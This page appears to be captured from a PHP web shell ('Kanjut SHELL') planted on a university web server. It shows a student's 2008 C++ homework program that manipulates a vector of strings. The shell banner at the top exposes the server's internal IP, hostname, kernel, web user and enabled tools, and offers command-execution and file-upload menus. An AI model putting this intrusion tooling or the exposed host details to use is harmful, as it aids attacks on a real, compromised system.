Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.192.2
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/grpatillo/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/grpatillo/hw7_212.cpp
/*	Author:                 R.P. Patillo
        Instructor:             Dr. Wang
        Due Date:               April 9, 2008
        Compilation:            g++ hw7_212.cpp -o hw7_212.out
        Execution:              ./hw7_212.out

        Goal:  			This program will perform the following operations using a loop: 1) insert a string to the vector; 2) delete the last string;
3) sort the vector to ascending order; 4) sort the vector to descending order; 5) print the number of the strings in the vector; 6) reverse the strings order in the vector; 7) quit;
*/

#include <iostream>
#include <vector>
#include <algorithm>

using namespace std;

void Print(vector<string>& );
void Input(string, vector<string>& );
void Delete(vector<string>& );
void AscOrder(vector<string>& );
void DesOrder(vector<string>& );
void Empty(vector<string>& );
void Reverse(vector<string>& );

int main()
{	
	vector<string> myVec;	
	
	string str;
	char op;

	cout << "\n*********************************\n" << endl;
	cout << "Input a string" << endl;
	cin >> str;
	Input(str, myVec);

	cout << "\n*********************************\n" << endl;
	cout << "Input I to input another string... \nInput D to delete your last string... \nInput P to print out your current vector... \nInput A to sort your current vector in ascending order...\nInput S to sort your current vector in descending order...\nInput R to reverse the elements within your vector... \nInput Q to quit... \n-------------------\nYour command:\t";
         cin >> op;

	while(op != 'Q' || op != 'q')
	{	
		if (op == 'I' || op == 'i')
		{
			cout << "\n*********************************\n" << endl;
			cout << "Input another string:" << endl;
			cin >> str;
			Input(str, myVec);
		}
		else if(op == 'D' || op == 'd')
		{	
			cout << "\n*********************************\n" << endl;
			Delete(myVec);
		}
		else if (op == 'P' || op == 'p')
		{	
			cout << "\n*********************************\n" << endl;
			cout << "The current list of strings is: " << endl;
			Print(myVec);		
		}
		else if (op == 'A' || op == 'a')
                {
                	cout << "\n*********************************\n" << endl;                        
			AscOrder(myVec);
	                cout << "The ascending sorted list is: " << endl;
                        Print(myVec);
                }

		else if (op == 'S' || op == 's')
		{
			cout << "\n*********************************\n" << endl;
			DesOrder(myVec);
			cout << "The descending sorted list is: " << endl;
			Print(myVec);
		}
		else if (op == 'R' || op == 'r')
		{
			cout << "\n*********************************\n" << endl;
			Reverse(myVec);
		}
		else if (op == 'Q' || op == 'q')
			break;
		else
		{	
		cout << "\n*********************************\n" << endl;
		cout << "Please input a valid command: {I to insert, D to delete, P to print, A to sort in ascending order, S to sort in descending order, R to reverse vector elements or Q to quit}" << endl;
		cin >> op;
		}

		cout << "\n*********************************\n" << endl;
		cout << "Input I to input another string... \nInput D to delete your last string... \nInput P to print out your current vector... \nInput A to sort your current vector in ascending order...\nInput S to sort your current vector in descending order...\nInput R to reverse the elements within your vector... \nInput Q to quit... \n-------------------\nYour command:\t";
        	cin >> op;
	}

	cout << "\n\nThanks for playing!!!\n\n";
	return 0;

}

//------------------------------------------------
void Print(vector<string>& v)
{	
	for( int i=0; i < v.size(); i++)
		cout << v[i] << "\n";
}

//------------------------------------------------
void Input(string str, vector<string>& v)
{
	v.push_back(str);
}

//-----------------------------------------------
void Delete(vector<string>& v)
{
	v.pop_back();
	cout << "Last string has been deleted!!!" << endl;
}

//-----------------------------------------------
void AscOrder(vector<string>& v)
{
	sort( v.begin(), v.end() );
}

//------------------------------------------------
void DesOrder(vector<string>& v)
{
	sort( v.begin(), v.end(), greater<string> () );
}

//------------------------------------------------
void Empty(vector<string>& v)
{
	cout << "The vector used to have " << v.size() << " elements.\n";
	(v.clear() );
	cout << "Now it has " << v.size() << " elements." << endl;
}

//-------------------------------------------------
void Reverse(vector<string>& v)
{
	reverse(v.begin(), v.end() ) ;
	cout << "Now the elements within your vector have been reversed." << endl;
}

Stv3n404 - 2023